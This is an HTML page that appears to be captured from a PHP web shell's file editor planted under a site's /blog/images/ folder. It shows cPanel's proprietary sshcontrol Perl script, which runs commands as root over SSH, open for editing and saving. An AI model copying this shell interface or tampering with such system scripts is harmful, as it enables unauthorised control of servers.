<h2>Edit File - sshcontrol</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/sshcontrol">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/sshcontrol                      Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

#----------------------------------------------------------------------
# This script controls a Net::OpenSSH session.
#
#It can authenticate a connection via password or SSH private key.
#
#It can connect via:
#   1) root login
#   2) user login, then su to root
#   3) user login, then sudo to root
#
#Additionally, existing connections may persist and be reused.
#
#Once connected, it can:
#   1) copy a file from/to local/remote
#   2) AS ROOT: execute an arbitrary command on the remote server
#
#Inputs:
#   key/value are read from STDIN as a hash,
#   serialized with Cpanel::AdminBin::Serializer::Dump()
#
#
#   Required arguments:
#       authuser    The user as which to identify during the SSH login.
#
#       host        The remote host.
#
#       ctl         &quot;ssh&quot; or (usually &quot;scp&quot;, but anything defined will do)
#
#
#   Additional, optional arguments:
#       external_master             ctl_pass parameter for Net::OpenSSH
#                                   Required if die_on_pid is not given.
#
#       die_on_pid                  ID of a specific process for the SSH control process
#                                   to watch and self-destruct upon the end of that
#                                   process. Defaults to the script&#039;s process ID.
#
#       port                        passed to Net::OpenSSH
#
#       root_pass                   If authuser is &quot;root&quot;, used to login;
#                                   otherwise, used to escalate privileges via su.
#                                   (Don’t submit if you mean to do sudo.)
#
#       ssh_private_key_password    passphrase for sshkey
#
#       sshkey                      filename under $HOME/.ssh/
#
#       stay_alive                  boolean; whether to keep the SSH control
#                                   process around and pass back its PID and
#                                   path in the response
#
#       wheel_pass                  Used to login as a non-root user.
#                                   If there is no root_pass, also used to escalate
#                                   privileges via sudo.
#
#
#   Additional arguments when ctl is &quot;ssh&quot;:
#       cmd                         if ctl is &quot;ssh&quot;, executed AS ROOT on the remote server
#
#
#   Additional arguments when ctl is &quot;scp&quot;:
#       destfile                    if ctl ne &quot;ssh&quot;, passed to Cpanel::SSHControl::scp
#                                   NOTE: If &quot;.&quot;, value is read from the last node in the
#                                   path from srcfile
#
#       direction                   if ctl ne &quot;ssh&quot;, passed to Cpanel::SSHControl::scp
#
#       srcfile                     if ctl ne &quot;ssh&quot;, passed to Cpanel::SSHControl::scp
#
#
#Output:
#   This speaks the &quot;protocol&quot; that Whostmgr/Remote/Parser.pm understands.
#   Note that this prints even error statuses to STDOUT.
#
#----------------------------------------------------------------------

package Script::SSHControl;

use strict;
use warnings;

use IO::Pipe                     ();
use Cpanel::AdminBin::Serializer ();
use Cpanel::ForkAsync            ();
use Cpanel::SSHControl           ();
use Cpanel::Locale::Lazy &#039;lh&#039;;
use Cpanel::TimeHiRes         ();
use Cpanel::Exception         ();
use Cpanel::Sys::Setsid::Fast ();
use Cpanel::BinCheck::Lite    ();

my $ONEDAY = (86400);

my @REQUIRED_ARGS = qw( authuser host ctl );

Cpanel::BinCheck::Lite::check_argv();

my $debug = 0;
__PACKAGE__-&gt;script() unless caller();

sub script {    ## no critic qw(Subroutines::ProhibitExcessComplexity)
    my ($class) = @_;

    local $| = 1;

    local $ENV{&#039;TERM&#039;} = &#039;dumb&#039;;

    my $self = {};
    bless $self, $class;

    my $parsed_args = Cpanel::AdminBin::Serializer::SafeLoadFile( \*STDIN );

    my @missing = grep { !length $parsed_args-&gt;{$_} } @REQUIRED_ARGS;
    if (@missing) {
        _leave( lh()-&gt;maketext( &#039;Specify the [list_and_quoted,_1] [numerate,_2,parameter,parameters].&#039;, \@missing, ( scalar @missing ) ) );
    }

    my $escalation_method;
    if ( $parsed_args-&gt;{&#039;root_escalation_method&#039;} &amp;&amp; $parsed_args-&gt;{&#039;root_escalation_method&#039;} eq &#039;none&#039; ) {
        $escalation_method = &#039;none&#039;;
    }
    else {

        # NB: Avoid length() here because we want to interpret
        # root_pass==0 as no root password.
        my $gave_root_pass = !!$parsed_args-&gt;{&#039;root_pass&#039;};

        if ( length $parsed_args-&gt;{&#039;wheel_pass&#039;} ) {
            if ( $parsed_args-&gt;{&#039;authuser&#039;} eq &#039;root&#039; ) {
                _leave( lh()-&gt;maketext( &#039;If “[_1]” is “[_2]”, you cannot specify “[_3]”.&#039;, qw(authuser root wheel_pass) ) );
            }

            # Just a wheel/sudo password? Gotta be sudo.
            if ( !$gave_root_pass ) {
                $escalation_method = &#039;sudo&#039;;
            }
        }

        # Root password + non-root = su
        if ($gave_root_pass) {
            if ( $parsed_args-&gt;{&#039;authuser&#039;} ne &#039;root&#039; ) {
                $escalation_method = &#039;su&#039;;
            }
        }
    }

    my $cmd = $parsed_args-&gt;{&#039;cmd&#039;};

    my $ssh_key = $parsed_args-&gt;{&#039;sshkey&#039;} ? ( ( getpwuid($&gt;) )[7] . &quot;/.ssh/&quot; . $parsed_args-&gt;{sshkey} ) : undef;

    my $ssh_username = $parsed_args-&gt;{&#039;authuser&#039;};

    $parsed_args-&gt;{&#039;die_on_pid&#039;} ||= $$;

    my $auth_info = {
        &#039;ssh_username&#039;             =&gt; $ssh_username,
        &#039;ssh_ip&#039;                   =&gt; $parsed_args-&gt;{&#039;host&#039;},
        &#039;ssh_port&#039;                 =&gt; $parsed_args-&gt;{&#039;port&#039;},
        &#039;root_pass&#039;                =&gt; $parsed_args-&gt;{&#039;root_pass&#039;} || ( $ssh_username eq &#039;root&#039; ? $parsed_args-&gt;{&#039;wheel_pass&#039;} : undef ),
        &#039;wheel_pass&#039;               =&gt; $parsed_args-&gt;{&#039;wheel_pass&#039;},
        &#039;ssh_private_key_password&#039; =&gt; $parsed_args-&gt;{&#039;ssh_private_key_password&#039;},
        &#039;root_escalation_method&#039;   =&gt; $escalation_method,
        &#039;ssh_private_key&#039;          =&gt; $ssh_key,
        &#039;key_or_pass&#039;              =&gt; ( $ssh_key ? 1 : 0 ),
    };

    my ( $status, $master_pid, $data );
    my $ssh_obj;

    if ( $parsed_args-&gt;{&#039;external_master&#039;} ) {
        $0       = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - external master&quot;;
        $ssh_obj = Net::OpenSSH-&gt;new( &#039;child&#039;, external_master =&gt; 1, ctl_path =&gt; $parsed_args-&gt;{&#039;external_master&#039;} );
    }
    else {
        $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - create connection&quot;;
    }

    my $keep_ssh_master = $parsed_args-&gt;{&#039;stay_alive&#039;} ? 1 : 0;

    if ( $ssh_obj &amp;&amp; $ssh_obj-&gt;check_master() ) {
        print &quot;Reused existing connection.\n&quot;;
        $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - reused external master&quot;;
    }
    else {
        $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - creating connection&quot;;
        if ( $parsed_args-&gt;{&#039;external_master&#039;} ) {
            $keep_ssh_master = 1;
        }
        ( $status, $master_pid, $data ) = $self-&gt;_create_ssh_master_connection( $auth_info, $parsed_args-&gt;{&#039;die_on_pid&#039;} );
        if ( !$status ) {
            _ssh_error_to_whm_remote_error_and_leave($data);
        }
        $ssh_obj = Net::OpenSSH-&gt;new( &#039;child&#039;, external_master =&gt; 1, ctl_path =&gt; $data );
    }

    if ( $ssh_obj-&gt;error() ) {
        my $ssh_error = $ssh_obj-&gt;error();
        _ssh_error_to_whm_remote_error_and_leave($ssh_error);
    }

    $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - attaching to external&quot;;
    my $ssh_control = Cpanel::SSHControl-&gt;new_from_external( &#039;debug&#039; =&gt; 0, &#039;quiet&#039; =&gt; 0, &#039;verbose&#039; =&gt; 0, &#039;auth_info&#039; =&gt; $auth_info, &#039;ssh&#039; =&gt; $ssh_obj );
    $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - attached to external&quot;;

    $SIG{&#039;TERM&#039;} = sub {
        $ssh_control-&gt;disconnect();
    };

    if ( $parsed_args-&gt;{ctl} eq &#039;ssh&#039; ) {
        $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - ssh&quot;;
        my ( $status, $msg ) = $ssh_control-&gt;exec_as_root($cmd);

        if ( !$status ) {
            _ssh_error_to_whm_remote_error_and_leave($msg);
        }
    }
    elsif ( $parsed_args-&gt;{&#039;ctl&#039;} eq &#039;scp&#039; ) {
        $0 = &quot;sshcontrol parent: $auth_info-&gt;{&#039;ssh_ip&#039;} - scp&quot;;
        my $destfile = $parsed_args-&gt;{&#039;destfile&#039;} eq &#039;.&#039; ? ( split( m{/+}, $parsed_args-&gt;{&#039;srcfile&#039;} ) )[-1] : $parsed_args-&gt;{&#039;destfile&#039;};
        my ( $status, $msg ) = $ssh_control-&gt;scp(
            &#039;direction&#039; =&gt; $parsed_args-&gt;{&#039;direction&#039;},
            &#039;srcfile&#039;   =&gt; $parsed_args-&gt;{&#039;srcfile&#039;},
            &#039;destfile&#039;  =&gt; $destfile,
        );

        if ( !$status ) {
            _ssh_error_to_whm_remote_error_and_leave($msg);
        }
        elsif ( $parsed_args-&gt;{&#039;direction&#039;} eq &#039;download&#039; &amp;&amp; !-e $destfile ) {
            _ssh_error_to_whm_remote_error_and_leave(&quot;The destination file: “$destfile” failed to download.&quot;);
        }
    }
    else {
        die &quot;Invalid “ctl”: [$parsed_args-&gt;{&#039;ctl&#039;}]&quot;;
    }

    $self-&gt;_write_sshcontrol_info( $master_pid, $ssh_obj );

    if ( !$keep_ssh_master || !$master_pid ) {
        $ssh_control-&gt;disconnect_master();
    }
    undef $ssh_obj;

    return $self;
}

sub _write_sshcontrol_info {
    my ( $self, $master_pid, $ssh_obj ) = @_;

    if ($master_pid) {
        print &quot;\n==sshcontrolpid=$master_pid==\n&quot;;
    }

    print &quot;\n==sshcontrolpath=&quot; . $ssh_obj-&gt;get_ctl_path() . &quot;==\n&quot;;

    return;
}

sub _leave {
    my @args = @_;

    print @args;

    die &quot;\n&quot;;
}

sub _create_ssh_master_connection {
    my ( $self, $auth_info, $die_on_pid ) = @_;

    my $ssh_pipe = IO::Pipe-&gt;new();
    my $child_result;

    my $sshcontrol_pid = Cpanel::ForkAsync::do_in_child(
        sub {
            $ssh_pipe-&gt;writer();
            open( STDOUT, &#039;&gt;&amp;=&#039; . fileno($ssh_pipe) );    ## no critic qw(RequireCheckedOpen)

            if ($die_on_pid) {
                $0 = &quot;sshcontrol child: $auth_info-&gt;{&#039;ssh_ip&#039;} - waiting on pid $die_on_pid&quot;;
            }
            else {
                $0 = &quot;sshcontrol child: $auth_info-&gt;{&#039;ssh_ip&#039;}&quot;;
            }

            my $ssh_control = Cpanel::SSHControl-&gt;new( &#039;debug&#039; =&gt; 0, &#039;quiet&#039; =&gt; 0, &#039;verbose&#039; =&gt; 0, &#039;auth_info&#039; =&gt; $auth_info );

            {
                local $@;
                eval { $ssh_control-&gt;connect() };
                if ($@) {
                    my $error_as_string = Cpanel::Exception::get_string_no_id($@);
                    $error_as_string =~ s/\n/ /g;

                    # This is going to the parent
                    print &quot;\nsshcontrol:0:&quot; . $error_as_string . &quot;\n&quot;;
                    exit(1);
                }

            }

            my $master_pid = $ssh_control-&gt;{&#039;ssh&#039;}-&gt;get_master_pid();

            if ( !$master_pid ) {
                print &quot;\nsshcontrol:0:failed to create sshcontrol master\n&quot;;
                exit(1);
            }

            $SIG{&#039;HUP&#039;}  = &#039;IGNORE&#039;;
            $SIG{&#039;ALRM&#039;} = $SIG{&#039;TERM&#039;} = sub {
                $ssh_control-&gt;disconnect_master();
                exit(0);
            };

            # This is going to the parent
            print &quot;\nsshcontrol:1:&quot; . $ssh_control-&gt;{&#039;ssh&#039;}-&gt;get_ctl_path() . &quot;\n&quot;;
            Cpanel::Sys::Setsid::Fast::fast_setsid();
            open( STDIN,  &#039;&lt;&#039;, &#039;/dev/null&#039; );    ## no critic qw(RequireCheckedOpen)
            open( STDOUT, &#039;&gt;&#039;, &#039;/dev/null&#039; );    ## no critic qw(RequireCheckedOpen)
            open( STDERR, &#039;&gt;&#039;, &#039;/dev/null&#039; );    ## no critic qw(RequireCheckedOpen)
            alarm($ONEDAY);                      # If something gets killed off expire in one day

            while ( waitpid( $master_pid, 1 ) != -1 &amp;&amp; kill( 0, $die_on_pid ) ) {
                Cpanel::TimeHiRes::sleep(0.1);
            }
            $ssh_control-&gt;disconnect_master();
            waitpid( $master_pid, 0 );

            exit(0);
        }
    );

    $ssh_pipe-&gt;reader();
    while ( readline($ssh_pipe) ) {
        if (m{^sshcontrol:}) { $child_result = $_; last; }
        print;
    }

    chomp($child_result);

    my ( $sshcontrol_tag, $status, $data ) = split( m{:}, $child_result, 3 );

    return ( $status, $sshcontrol_pid, $data );
}

my @SSH_ERRORS;

sub _ssh_error_to_whm_remote_error_and_leave {
    my ($ssh_error) = @_;

    if ( !@SSH_ERRORS ) {
        @SSH_ERRORS = (
            [ qr{master process exited unexpectedly:\s+([^:]+).*?No such file or directory} =&gt; &#039;RemoteSSHMissing&#039; ],
            [ qr{No such file or directory}                                                 =&gt; &#039;RemoteSSHMissing&#039; ],
            [ qr{normalize shell}                                                           =&gt; &#039;RemoteSSHMissing&#039; ],
            [ qr{Name or service not known}                                                 =&gt; &#039;RemoteSSHHostNotFound&#039; ],
            [ qr{Connection timed out}                                                      =&gt; &#039;RemoteSSHTimeout&#039; ],
            [ qr{(scp failed)}                                                              =&gt; &#039;RemoteSCPError&#039; ],
            [ qr{(^scp:.*)}                                                                 =&gt; &#039;RemoteSCPError&#039; ],
            [ qr{(Connection (?:to [^ ]+? )?closed)}                                        =&gt; &#039;RemoteSSHConnectionFailed&#039; ],
            [ qr{(No route to host)}                                                        =&gt; &#039;RemoteSSHConnectionFailed&#039; ],
            [ qr{(Connection refused)}                                                      =&gt; &#039;RemoteSSHConnectionFailed&#039; ],
            [ qr{(lost connection)}                                                         =&gt; &#039;RemoteSSHConnectionFailed&#039; ],
            [ qr{(Failed to escalate to root)}i                                             =&gt; &#039;RemoteSSHRootEscalationFailed&#039; ],
            [ qr{(timeout)}i                                                                =&gt; &#039;RemoteSSHTimeout&#039; ],
            [ qr{master process exited unexpectedly:\s+(.*)}                                =&gt; &#039;RemoteSSHAccessDenied&#039; ],

            #A catch-all, must be last.
            [ qr&lt;&gt; =&gt; &#039;RemoteSSHAccessDenied&#039; ],
        );
    }

    for my $re_code (@SSH_ERRORS) {
        if ( $ssh_error =~ $re_code-&gt;[0] ) {
            my $raw_error = $1 || $ssh_error;
            $raw_error =~ s/=//g;
            $raw_error =~ s/\r*\n/ /g;
            _leave(&quot;\n==sshcontrol_error=$re_code-&gt;[1]=$raw_error==\n&quot;);
        }
    }

    # If we did not parse the error, we need to show it
    # but only if we haven&#039;t already to avoid showing it twice
    print $ssh_error . &quot;\n&quot;;

    #This error is meant to look a bit more &quot;professional&quot; than
    #&quot;Oops! We should never get here!&quot;. :)
    die &quot;Misdirected execution flow!&quot;;
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>